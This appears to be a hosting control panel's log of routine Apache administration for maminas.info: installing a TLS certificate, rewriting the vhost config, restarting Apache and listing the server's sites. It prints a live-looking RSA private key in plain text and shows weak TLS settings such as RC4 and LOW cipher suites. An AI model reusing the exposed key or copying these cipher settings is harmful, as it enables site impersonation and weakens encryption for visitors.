HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzMuY3JsMIIBBAYKKwYBBAHWeQIEAgSB
9QSB8gDwAHYAzPsPaoVxCWX+lZtTzumyfCLphVwNl422qX5UwP5MDbAAAAGZcAIu
xwAABAMARzBFAiEApxBln22R4MiXU4Roeapl2dZqWBa1845kemEq7c3L8hwCIFkY
lLFxv3++MbHtXOio6izc6f+axJgfV/KgjnII7/VxAHYADeHyMCvTDcFAYhIJ6lUu
/Ed0fLHX6TDvDkIetH5OqjQAAAGZcAIu6AAABAMARzBFAiEAnTM0Mwrdowj6k1mC
/JSOiqIkmB2RqpwbHeBBQ519U34CIE22mR+GhbIALhA217c77Xsv0zfp1Z/u/P+t
iNZhtvIlMA0GCSqGSIb3DQEBCwUAA4IBAQAMK0l+ENF14RBdZ1O02FDFA8bqOrA5
haSTn53NDUcEoFZcLjRpn6gKBIjcs5g/H/xwDbiFAtuU9wHX2ycAyNt/JmX0FUWj
Cfnni5VkvbONutA28K+ZVrcoFLZidMZj+lrr98TPvOwg1LSOAgpF/b3qXYwkBN+4
VIrCd1oWYcr3A7lgsOcVUVwA5rlU+UeATUCCv+vQSSn+b2e/Zev0aC9DzqPJhbDF
cPoR2puT8ygmWW3GRZ+x0pCe93s51uPvq66LYOoifNZi6GJx+CJXvwDG4bYeqhN6
yhChA2vV2V+R89WHiyOPQUKGBZQ2JgZoZBwG8ue6G55+I2xPgbwpdmgL
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCZSRrNsXjpvPe7
7fM1hDeAGh/o06mPBdlXse5FTZAgNtQ04pZistnikShpmPsxv40j8ZHNPzwn7f00
8Qn3dCuvINe9mxc0UeCHGvNsag5tkqKOK1Yoco3oRGrgPIC+6xSQZ4YAKJx4kvzH
kr6CY9e6ldzbn4iP9huv84a1BBc14IoxGfqvdkrreLyqUfDdUaARGr4e0JO6NpL/
o3Y5aFr834fYaNhpu+b8AnPqqlWPvxzB9krQ5Nz577ScfnY/HrsLvjit10fh6RDz
MM6qOD6D4L4yVRVR2LHyQzXWphkGte8HhBzUsRlJtls7JcLtFGQ5IZSvMS5MVcO/
AY+73HovAgMBAAECggEBAIoBY3xlmDL4yyILrbg0/bL70lbQmgwGfBOUQq1qk6Qt
OQkUJ8lctQZjIjtQXHgBuZTu3RIpKIPapOmRSiPcF6horVQr2cxlGv0IqrilE7Bb
ILdXFQ79c/31+zM/xbod9Dm+uspRxe5Yh/U2jQbf1U5LtriU/WJ/dZYIbvNyZ2M9
DPgkF9trCs+njOjCOzw6U+q7q7hO+1Jymuh0afkSMBuUIUrjgB4nkeb1/9D4zOoP
vAM6id1bxmHmS2Dc3+HJ6dqf0LUlgUwH6UsNcPdK7Q1cil8/hpsCuXeYe1znPh9X
JUOcATAz9qfa54z1FnrSFwDPM1BLCwkzyEJx88J9HoECgYEAx6tMmcPeeqLpGJbj
ijuAUBT1vrHNP/CF2OPMvME+mGkZLKZRchB28iglVK6n24jVsI4RRW5VXt21tU8/
lZ5nHspl46nZwkPSIAY40GitPgFpHKSdCBd63mpdYxyuiDp5lVTEilhUWmEgEOKO
kf4Vzb4W4wD0mhs3dSOvwF8Br/8CgYEAxIfYc3CfO1VOfRz2dlPV/2KFosBkEHZp
8ssf7wUMX5P7Z+vEOQc8Gu161Hl+sZ6FJ74hq9FLSiAg4SAfRW4V6uwKB8PxEWdH
LnzLBuVAOAa4kt9Ug5xzJzkHfvLy4lG5F/+f2CEodfegevCiAW8a1VyXi3NFtdvp
YtUrtO30NdECgYBWhzyl8kUK3minmFQ5RnnfuoWYw1LQX7qReH70WcZ3pCwdtmHb
TZlObelnnlzt/YmlfpurfBoRB4HEdfh3LXNA27N2CthsoJmB+VBLuOFC2rejiw7m
P86mbm/UEMzuCnFALsERtx+vHyIXTyc7y2HFjJg8feCCnELXR8TVWBbSHwKBgQCA
Tvx26clbsGcs8dLLEBL/yC/dQORThyvGsuznXRFl+TRC9b9HSDzqi68Mt0GK7yaZ
+tz60wrnmzA8Kn+gEa5HkNE/nqJtrVLgu+LFXrjdmy233gzMXEEmE2qcbDs8nQRN
8btHHObQldn1SdNLQmFveSMLjTeu8qNdvjTpzA0LcQKBgQCLy/TinQY1/elJFWWA
UzibwiIODhdtVa8zHUH8jznKrbgBujnmx8DHtWDegej30NNvKMQ5jbY+QWbI8W99
4fgMNG7k0PoTdLJuhObSd+H5CnsM/CeCy07KgYwiBrmQgchg7S73ltRquhHTaE26
jAIQyR7IUc6uenK1jJg0Rg5m7A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-22 06:00:16: 

chmod 755 /tmp/pkp108479; /tmp/pkp108479; rm /tmp/pkp108479

2025-09-22 06:00:16: 


dir=/etc/ssl/certs


2025-09-22 06:00:16: 

PUT: /tmp/pkp643432

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/maminas_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-22 06:00:16: 

chmod 755 /tmp/pkp643432; /tmp/pkp643432; rm /tmp/pkp643432

2025-09-22 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf 40

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-22 06:00:16: 

PUT: /tmp/pkp645972

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=maminas_www_info.conf
TARGET=/etc/apache2/sites-enabled/maminas_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/maminas_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf= 1'
fi


2025-09-22 06:00:16: 

chmod 755 /tmp/pkp645972; /tmp/pkp645972; rm /tmp/pkp645972

2025-09-22 06:00:16: 




2025-09-22 06:00:16: 

PUT: /tmp/pkp240515

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-22 06:00:16: 

chmod 755 /tmp/pkp240515; /tmp/pkp240515; rm /tmp/pkp240515

2025-09-22 06:00:16: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-22 06:00:16: Establishing a connection
2025-09-22 06:00:17: 

PUT: /tmp/pkp956884

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-22 06:00:17: 

chmod 755 /tmp/pkp956884; /tmp/pkp956884; rm /tmp/pkp956884

2025-09-22 06:00:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-22 06:00:17: 

PUT: /tmp/pkp158666

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/maminas_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-22 06:00:17: 

chmod 755 /tmp/pkp158666; /tmp/pkp158666; rm /tmp/pkp158666

2025-09-22 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf	1355

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-22 06:00:17: 

PUT: /tmp/pkp374041

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-22 06:00:17: 

chmod 755 /tmp/pkp374041; /tmp/pkp374041; rm /tmp/pkp374041

2025-09-22 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt	5365
ca:71:36:dd:8c:4f:81:a9:8a:64:16:8f:65:4c:73:04

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBbJxRS1FLFwkD6LFi94S0vHIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTIyMDUwMTQ1WhcNMjUxMjIxMDUwMTQ0WjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCZ
SRrNsXjpvPe77fM1hDeAGh/o06mPBdlXse5FTZAgNtQ04pZistnikShpmPsxv40j
8ZHNPzwn7f008Qn3dCuvINe9mxc0UeCHGvNsag5tkqKOK1Yoco3oRGrgPIC+6xSQ
Z4YAKJx4kvzHkr6CY9e6ldzbn4iP9huv84a1BBc14IoxGfqvdkrreLyqUfDdUaAR
Gr4e0JO6NpL/o3Y5aFr834fYaNhpu+b8AnPqqlWPvxzB9krQ5Nz577ScfnY/HrsL
vjit10fh6RDzMM6qOD6D4L4yVRVR2LHyQzXWphkGte8HhBzUsRlJtls7JcLtFGQ5
IZSvMS5MVcO/AY+73HovAgMBAAGjggIuMIICKjAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFJj3Ak/FqVK01ioAU1CR8wVvVi3uMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMbWFtaW5hcy5pbmZvghB3d3cubWFt
aW5hcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzMuY3JsMIIBBAYKKwYBBAHWeQIEAgSB
9QSB8gDwAHYAzPsPaoVxCWX+lZtTzumyfCLphVwNl422qX5UwP5MDbAAAAGZcAIu
xwAABAMARzBFAiEApxBln22R4MiXU4Roeapl2dZqWBa1845kemEq7c3L8hwCIFkY
lLFxv3++MbHtXOio6izc6f+axJgfV/KgjnII7/VxAHYADeHyMCvTDcFAYhIJ6lUu
/Ed0fLHX6TDvDkIetH5OqjQAAAGZcAIu6AAABAMARzBFAiEAnTM0Mwrdowj6k1mC
/JSOiqIkmB2RqpwbHeBBQ519U34CIE22mR+GhbIALhA217c77Xsv0zfp1Z/u/P+t
iNZhtvIlMA0GCSqGSIb3DQEBCwUAA4IBAQAMK0l+ENF14RBdZ1O02FDFA8bqOrA5
haSTn53NDUcEoFZcLjRpn6gKBIjcs5g/H/xwDbiFAtuU9wHX2ycAyNt/JmX0FUWj
Cfnni5VkvbONutA28K+ZVrcoFLZidMZj+lrr98TPvOwg1LSOAgpF/b3qXYwkBN+4
VIrCd1oWYcr3A7lgsOcVUVwA5rlU+UeATUCCv+vQSSn+b2e/Zev0aC9DzqPJhbDF
cPoR2puT8ygmWW3GRZ+x0pCe93s51uPvq66LYOoifNZi6GJx+CJXvwDG4bYeqhN6
yhChA2vV2V+R89WHiyOPQUKGBZQ2JgZoZBwG8ue6G55+I2xPgbwpdmgL
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCZSRrNsXjpvPe7
7fM1hDeAGh/o06mPBdlXse5FTZAgNtQ04pZistnikShpmPsxv40j8ZHNPzwn7f00
8Qn3dCuvINe9mxc0UeCHGvNsag5tkqKOK1Yoco3oRGrgPIC+6xSQZ4YAKJx4kvzH
kr6CY9e6ldzbn4iP9huv84a1BBc14IoxGfqvdkrreLyqUfDdUaARGr4e0JO6NpL/
o3Y5aFr834fYaNhpu+b8AnPqqlWPvxzB9krQ5Nz577ScfnY/HrsLvjit10fh6RDz
MM6qOD6D4L4yVRVR2LHyQzXWphkGte8HhBzUsRlJtls7JcLtFGQ5IZSvMS5MVcO/
AY+73HovAgMBAAECggEBAIoBY3xlmDL4yyILrbg0/bL70lbQmgwGfBOUQq1qk6Qt
